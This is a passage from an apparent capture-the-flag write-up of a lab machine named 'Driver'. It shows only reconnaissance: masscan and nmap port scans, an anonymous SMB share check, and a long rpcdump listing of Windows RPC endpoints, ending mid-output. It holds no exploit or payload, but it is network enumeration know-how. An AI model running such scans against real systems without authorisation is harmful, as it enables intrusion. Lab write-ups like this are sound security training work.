As this machine is still active, the following content is protected Javascript needs to be enabled to decrypt content Recon to Foothold We’ll kick of with a masscan to find all open hosts rob:Driver/ $ sudo masscan -p1-65535,U:1-65535 10.10.11.106 --rate=1000 -e tun0 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-12-23 21:04:55 GMT Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.11.106 Discovered open port 445/tcp on 10.10.11.106 Discovered open port 5985/tcp on 10.10.11.106 Discovered open port 135/tcp on 10.10.11.106 And now nmap to find out what we can about each port we’ve found rob:Driver/ $ nmap -A -T4 -v -Pn -p80,135,445,5935 10.10.11.106 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-23 21:07 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 21:07 Completed NSE at 21:07, 0.00s elapsed Initiating NSE at 21:07 Completed NSE at 21:07, 0.00s elapsed Initiating NSE at 21:07 Completed NSE at 21:07, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 21:07 Completed Parallel DNS resolution of 1 host. at 21:07, 0.01s elapsed Initiating Connect Scan at 21:07 Scanning 10.10.11.106 [4 ports] Discovered open port 80/tcp on 10.10.11.106 Discovered open port 445/tcp on 10.10.11.106 Discovered open port 135/tcp on 10.10.11.106 Completed Connect Scan at 21:07, 1.21s elapsed (4 total ports) Initiating Service scan at 21:07 Scanning 3 services on 10.10.11.106 Completed Service scan at 21:07, 6.49s elapsed (3 services on 1 host) NSE: Script scanning 10.10.11.106. Initiating NSE at 21:07 Completed NSE at 21:08, 40.05s elapsed Initiating NSE at 21:08 Completed NSE at 21:08, 0.09s elapsed Initiating NSE at 21:08 Completed NSE at 21:08, 0.00s elapsed Nmap scan report for 10.10.11.106 Host is up (0.025s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=MFP Firmware Update Center. Please enter password for admin |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 5935/tcp filtered unknown Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb2-time: | date: 2021-12-24T04:08:02 |_ start_date: 2021-12-24T04:01:19 | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 7h00m33s, deviation: 0s, median: 7h00m32s NSE: Script Post-scanning. Initiating NSE at 21:08 Completed NSE at 21:08, 0.00s elapsed Initiating NSE at 21:08 Completed NSE at 21:08, 0.00s elapsed Initiating NSE at 21:08 Completed NSE at 21:08, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.26 seconds We have a webpage on port 80, but let’s check out SMB on port 445 first in case we find something available already on an open share rob:Driver/ $ smbclient -L 10.10.11.106 -U "" -N session setup failed: NT_STATUS_ACCESS_DENIED Unfortunately there are no shares available without authentication Port 5935 is a bit of a mystery port complete misread… masscan found 5985, the common port for WinRM. Let’s confirm that PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Alright, that usually (I think) is more specific and mentions winrm let’s check it out later Ok, let’s enumerate port 135 now with rpcdump.py rob:Driver/ $ rpcdump.py -p 135 10.10.11.106 Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation [*] Retrieving endpoint list from 10.10.11.106 Protocol: [MS-RSP]: Remote Shutdown Protocol Provider: wininit.exe UUID : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49408] ncalrpc:[WindowsShutdown] ncacn_np:\\DRIVER[\PIPE\InitShutdown] ncalrpc:[WMsgKRpc076240] Protocol: N/A Provider: winlogon.exe UUID : 76F226C3-EC14-4325-8A99-6A46348418AF v1.0 Bindings: ncalrpc:[WindowsShutdown] ncacn_np:\\DRIVER[\PIPE\InitShutdown] ncalrpc:[WMsgKRpc076240] ncalrpc:[WMsgKRpc0778F1] Protocol: N/A Provider: N/A UUID : 9B008953-F195-4BF9-BDE0-4471971E58ED v1.0 Bindings: ncalrpc:[LRPC-ff216f9e6f68579492] ncalrpc:[dabrpc] ncalrpc:[csebpub] ncalrpc:[LRPC-9a5ef92c9927f02e07] ncalrpc:[LRPC-41d9dfe48d539f37b4] ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : D09BDEB5-6171-4A34-BFE2-06FA82652568 v1.0 Bindings: ncalrpc:[csebpub] ncalrpc:[LRPC-9a5ef92c9927f02e07] ncalrpc:[LRPC-41d9dfe48d539f37b4] ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] ncalrpc:[LRPC-41d9dfe48d539f37b4] ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] ncalrpc:[LRPC-123f6bd9f5e6029732] ncalrpc:[LRPC-a16070d7a8ce6f8de1] ncalrpc:[LRPC-c7ba167e9e3e157179] ncalrpc:[trkwks] ncacn_np:\\DRIVER[\pipe\trkwks] ncalrpc:[LRPC-ed90070979a053fea8] Protocol: N/A Provider: N/A UUID : 697DCDA9-3BA9-4EB2-9247-E11F1901B0D2 v1.0 Bindings: ncalrpc:[LRPC-9a5ef92c9927f02e07] ncalrpc:[LRPC-41d9dfe48d539f37b4] ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 857FB1BE-084F-4FB5-B59C-4B2C4BE5F0CF v1.0 Bindings: ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : B8CADBAF-E84B-46B9-84F2-6F71C03F9E55 v1.0 Bindings: ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 20C40295-8DBA-48E6-AEBF-3E78EF3BB144 v1.0 Bindings: ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 2513BCBE-6CD4-4348-855E-7EFB3C336DD3 v1.0 Bindings: ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 88ABCBC3-34EA-76AE-8215-767520655A23 v0.0 Bindings: ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 76C217BC-C8B4-4201-A745-373AD9032B1A v1.0 Bindings: ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 55E6B932-1979-45D6-90C5-7F6270724112 v1.0 Bindings: ncalrpc:[LRPC-4e4618b8d5b94ad501] ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 1832BCF6-CAB8-41D4-85D2-C9410764F75A v1.0 Bindings: ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : AA371ED8-84FD-47C6-AD26-1F601A365A73 v0.0 Bindings: ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : C521FACF-09A9-42C5-B155-72388595CBF0 v0.0 Bindings: ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 2C7FD9CE-E706-4B40-B412-953107EF9BB0 v0.0 Bindings: ncacn_np:\\DRIVER[\pipe\LSM_API_service] ncalrpc:[LSMApi] ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: sysntfy.dll UUID : C9AC6DB5-82B7-4E55-AE8A-E464ED7B4277 v1.0 Impl friendly name Bindings: ncalrpc:[LRPC-c5be86115c1a7edff2] ncalrpc:[actkernel] ncalrpc:[umpo] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : 0D3E2735-CEA0-4ECC-A9E2-41A2D81AED4E v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : C605F9FB-F0A3-4E2A-A073-73560F8D9E3E v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 1B37CA91-76B1-4F5E-A3C7-2ABFC61F2BB0 v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 8BFC3BE1-6DEF-4E2D-AF74-7C47CD0ADE4A v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 2D98A740-581D-41B9-AA0D-A88B9D5CE938 v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 5824833B-3C1A-4AD2-BDFD-C31D19E23ED2 v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : BDAA0970-413B-4A3E-9E5D-F6DC9D7E0760 v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 3B338D89-6CFA-44B8-847E-531531BC9992 v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 8782D3B9-EBBD-4644-A3D8-E8725381919B v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 085B0334-E454-4D91-9B8C-4134F9E793F3 v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: N/A UUID : 4BEC6BB8-B5C2-4B6F-B2C1-5DA5CF92D0D9 v1.0 Bindings: ncalrpc:[actkernel] ncalrpc:[umpo] Protocol: N/A Provider: ssdpsrv.dll UUID : 4B112204-0E19-11D3-B42B-0000F81FEB9F v1.0 Bindings: ncalrpc:[LRPC-782ab11bd4013f93bb] ncalrpc:[LRPC-62c42167f46def786d] ncalrpc:[LRPC-123f6bd9f5e6029732] Protocol: N/A Provider: N/A UUID : A500D4C6-0DD1-4543-BC0C-D5F93486EAF8 v1.0 Bindings: ncalrpc:[LRPC-62c42167f46def786d] ncalrpc:[LRPC-123f6bd9f5e6029732] Protocol: N/A Provider: wscsvc.dll UUID : 06BBA54A-BE05-49F9-B0A0-30F790261023 v1.0 Security Center Bindings: ncalrpc:[OLEAC23C086925965FC3CE75D8AF541] ncalrpc:[LRPC-a084309ae332da85d7] ncalrpc:[AudioSrvDiagnosticsRpc] ncalrpc:[PlaybackManagerRpc] ncalrpc:[Audiosrv] ncalrpc:[dhcpcsvc6] ncalrpc:[AudioClientRpc] ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: nrpsrv.dll UUID : 30ADC50C-5CBC-46CE-9A0E-91914789E23C v1.0 NRP server endpoint Bindings: ncalrpc:[LRPC-a084309ae332da85d7] ncalrpc:[AudioSrvDiagnosticsRpc] ncalrpc:[PlaybackManagerRpc] ncalrpc:[Audiosrv] ncalrpc:[dhcpcsvc6] ncalrpc:[AudioClientRpc] ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: N/A UUID : E7F76134-9EF5-4949-A2D6-3368CC0988F3 v1.0 Bindings: ncalrpc:[LRPC-a084309ae332da85d7] ncalrpc:[AudioSrvDiagnosticsRpc] ncalrpc:[PlaybackManagerRpc] ncalrpc:[Audiosrv] ncalrpc:[dhcpcsvc6] ncalrpc:[AudioClientRpc] ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: N/A UUID : B3781086-6A54-489B-91C8-51D067172AB7 v1.0 Bindings: ncalrpc:[LRPC-a084309ae332da85d7] ncalrpc:[AudioSrvDiagnosticsRpc] ncalrpc:[PlaybackManagerRpc] ncalrpc:[Audiosrv] ncalrpc:[dhcpcsvc6] ncalrpc:[AudioClientRpc] ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: N/A UUID : B37F900A-EAE4-4304-A2AB-12BB668C0188 v1.0 Bindings: ncalrpc:[LRPC-a084309ae332da85d7] ncalrpc:[AudioSrvDiagnosticsRpc] ncalrpc:[PlaybackManagerRpc] ncalrpc:[Audiosrv] ncalrpc:[dhcpcsvc6] ncalrpc:[AudioClientRpc] ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: N/A UUID : ABFB6CA3-0C5E-4734-9285-0AEE72FE8D1C v1.0 Bindings: ncalrpc:[LRPC-a084309ae332da85d7] ncalrpc:[AudioSrvDiagnosticsRpc] ncalrpc:[PlaybackManagerRpc] ncalrpc:[Audiosrv] ncalrpc:[dhcpcsvc6] ncalrpc:[AudioClientRpc] ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: dhcpcsvc6.dll UUID : 3C4728C5-F0AB-448B-BDA1-6CE01EB0A6D6 v1.0 DHCPv6 Client LRPC Endpoint Bindings: ncalrpc:[dhcpcsvc6] ncalrpc:[AudioClientRpc] ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: dhcpcsvc.dll UUID : 3C4728C5-F0AB-448B-BDA1-6CE01EB0A6D5 v1.0 DHCP Client LRPC Endpoint Bindings: ncalrpc:[dhcpcsvc] ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: [MS-EVEN6]: EventLog Remoting Protocol Provider: wevtsvc.dll UUID : F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C v1.0 Event log TCPIP Bindings: ncacn_ip_tcp:10.10.11.106[49409] ncacn_np:\\DRIVER[\pipe\eventlog] ncalrpc:[eventlog] ncalrpc:[LRPC-c1f9c23a8570e825a7] Protocol: N/A Provider: N/A UUID : C36BE077-E14B-4FE9-8ABC-E856EF4F048B v1.0 Proxy Manager client server endpoint Bindings: ncacn_np:\\DRIVER[\PIPE\srvsvc] ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : 2E6035B2-E8F1-41A7-A044-656B439C4C34 v1.0 Proxy Manager provider server endpoint Bindings: ncacn_np:\\DRIVER[\PIPE\srvsvc] ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : C49A5A70-8A7F-4E70-BA16-1E8F1F193EF1 v1.0 Adh APIs Bindings: ncacn_np:\\DRIVER[\PIPE\srvsvc] ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : 1A0D010F-1C33-432C-B0F5-8CF4E8053099 v1.0 IdSegSrv service Bindings: ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: iphlpsvc.dll UUID : 552D076A-CB29-4E44-8B6A-D15E59E2C0AF v1.0 IP Transition Configuration endpoint Bindings: ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: srvsvc.dll UUID : 98716D03-89AC-44C7-BB8C-285824E51C4A v1.0 XactSrv service Bindings: ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : 0D3C7F20-1C8D-4654-A1B3-51563B298BDA v1.0 UserMgrCli Bindings: ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : B18FBAB6-56F8-4702-84E0-41053293A869 v1.0 UserMgrCli Bindings: ncalrpc:[LRPC-50c1825e344cc85506] ncalrpc:[DeviceSetupManager] ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : 3A9EF155-691D-4449-8D05-09AD57031823 v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol Provider: schedsvc.dll UUID : 86D35949-83C9-4044-B424-DB363231FD0C v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49410] ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : 33D84484-3626-47EE-8C6F-E7E98B113BE1 v2.0 Bindings: ncalrpc:[LRPC-ed393d115e84070006] ncalrpc:[ubpmtaskhostchannel] ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol Provider: taskcomp.dll UUID : 378E52B0-C0A9-11CF-822D-00AA0051E40F v1.0 Bindings: ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol Provider: taskcomp.dll UUID : 1FF70682-0A51-30E8-076D-740BE8CEE98B v1.0 Bindings: ncacn_np:\\DRIVER[\PIPE\atsvc] ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: schedsvc.dll UUID : 0A74EF1C-41A4-4E06-83AE-DC74FB1CDD53 v1.0 Bindings: ncalrpc:[OLE4867D61CF2661C11AA3CF335260E] ncalrpc:[senssvc] ncalrpc:[IUserProfile2] Protocol: N/A Provider: N/A UUID : 3473DD4D-2E88-4006-9CBA-22570909DD10 v5.1 WinHttp Auto-Proxy Service Bindings: ncalrpc:[LRPC-e21ba8cbef2a4ecf82] ncalrpc:[OLE3D29F10FE670BD63E8FCBD41081D] Protocol: N/A Provider: nsisvc.dll UUID : 7EA70BCF-48AF-4F6A-8968-6A440754D5FA v1.0 NSI server endpoint Bindings: ncalrpc:[LRPC-e21ba8cbef2a4ecf82] ncalrpc:[OLE3D29F10FE670BD63E8FCBD41081D] Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol Provider: spoolsv.exe UUID : 76F03F96-CDFD-44FC-A22C-64950A001209 v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49411] ncalrpc:[LRPC-a72f86fde115dc894f] Protocol: N/A Provider: spoolsv.exe UUID : 4A452661-8290-4B36-8FBE-7F4093A94978 v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49411] ncalrpc:[LRPC-a72f86fde115dc894f] Protocol: [MS-PAN]: Print System Asynchronous Notification Protocol Provider: spoolsv.exe UUID : AE33069B-A2A8-46EE-A235-DDFD339BE281 v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49411] ncalrpc:[LRPC-a72f86fde115dc894f] Protocol: [MS-PAN]: Print System Asynchronous Notification Protocol Provider: spoolsv.exe UUID : 0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1 v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49411] ncalrpc:[LRPC-a72f86fde115dc894f] Protocol: [MS-RPRN]: Print System Remote Protocol Provider: spoolsv.exe UUID : 12345678-1234-ABCD-EF00-0123456789AB v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49411] ncalrpc:[LRPC-a72f86fde115dc894f] Protocol: N/A Provider: N/A UUID : 7F1343FE-50A9-4927-A778-0C5859517BAC v1.0 DfsDs service Bindings: ncacn_np:\\DRIVER[\PIPE\wkssvc] ncalrpc:[nlaapi] ncalrpc:[nlaplg] ncalrpc:[DNSResolver] Protocol: N/A Provider: N/A UUID : EB081A0D-10EE-478A-A1DD-50995283E7A8 v3.0 Witness Client Test Interface Bindings: ncalrpc:[nlaapi] ncalrpc:[nlaplg] ncalrpc:[DNSResolver] Protocol: N/A Provider: N/A UUID : F2C9B409-C1C9-4100-8639-D8AB1486694A v1.0 Witness Client Upcall Server Bindings: ncalrpc:[nlaapi] ncalrpc:[nlaplg] ncalrpc:[DNSResolver] Protocol: N/A Provider: N/A UUID : 4C8D0BEF-D7F1-49F0-9102-CAA05F58D114 v1.0 Bindings: ncalrpc:[nlaapi] ncalrpc:[nlaplg] ncalrpc:[DNSResolver] Protocol: N/A Provider: N/A UUID : DF4DF73A-C52D-4E3A-8003-8437FDF8302A v0.0 WM_WindowManagerRPC\Server Bindings: ncalrpc:[LRPC-fea8e5d3617914c7ca] ncalrpc:[LRPC-d8124d0a474b946eaa] ncalrpc:[LRPC-5526a2953936cf4967] Protocol: N/A Provider: MPSSVC.dll UUID : 2FB92682-6599-42DC-AE13-BD2CA89BD11C v1.0 Fw APIs Bindings: ncalrpc:[LRPC-d8124d0a474b946eaa] ncalrpc:[LRPC-5526a2953936cf4967] Protocol: N/A Provider: N/A UUID : F47433C3-3E9D-4157-AAD4-83AA1F5C2D4C v1.0 Fw APIs Bindings: ncalrpc:[LRPC-d8124d0a474b946eaa] ncalrpc:[LRPC-5526a2953936cf4967] Protocol: N/A Provider: MPSSVC.dll UUID : 7F9D11BF-7FB9-436B-A812-B2D50C5D4C03 v1.0 Fw APIs Bindings: ncalrpc:[LRPC-d8124d0a474b946eaa] ncalrpc:[LRPC-5526a2953936cf4967] Protocol: N/A Provider: BFE.DLL UUID : DD490425-5325-4565-B774-7E27D6C09C24 v1.0 Base Firewall Engine API Bindings: ncalrpc:[LRPC-5526a2953936cf4967] Protocol: N/A Provider: N/A UUID : E40F7B57-7A25-4CD3-A135-7F7D3DF9D16B v1.0 Network Connection Broker server endpoint Bindings: ncalrpc:[OLEE44D2CD323847A49194BA5194AEE] ncalrpc:[LRPC-16883498359219df53] ncalrpc:[LRPC-a16070d7a8ce6f8de1] ncalrpc:[LRPC-c7ba167e9e3e157179] ncalrpc:[trkwks] ncacn_np:\\DRIVER[\pipe\trkwks] ncalrpc:[LRPC-ed90070979a053fea8] Protocol: N/A Provider: N/A UUID : 880FD55E-43B9-11E0-B1A8-CF4EDFD72085 v1.0 KAPI Service endpoint Bindings: ncalrpc:[OLEE44D2CD323847A49194BA5194AEE] ncalrpc:[LRPC-16883498359219df53] ncalrpc:[LRPC-a16070d7a8ce6f8de1] ncalrpc:[LRPC-c7ba167e9e3e157179] ncalrpc:[trkwks] ncacn_np:\\DRIVER[\pipe\trkwks] ncalrpc:[LRPC-ed90070979a053fea8] Protocol: N/A Provider: N/A UUID : 5222821F-D5E2-4885-84F1-5F6185A0EC41 v1.0 Network Connection Broker server endpoint for NCB Reset module Bindings: ncalrpc:[LRPC-16883498359219df53] ncalrpc:[LRPC-a16070d7a8ce6f8de1] ncalrpc:[LRPC-c7ba167e9e3e157179] ncalrpc:[trkwks] ncacn_np:\\DRIVER[\pipe\trkwks] ncalrpc:[LRPC-ed90070979a053fea8] Protocol: N/A Provider: sysmain.dll UUID : B58AA02E-2884-4E97-8176-4EE06D794184 v1.0 Bindings: ncalrpc:[LRPC-c7ba167e9e3e157179] ncalrpc:[trkwks] ncacn_np:\\DRIVER[\pipe\trkwks] ncalrpc:[LRPC-ed90070979a053fea8] Protocol: N/A Provider: pcasvc.dll UUID : 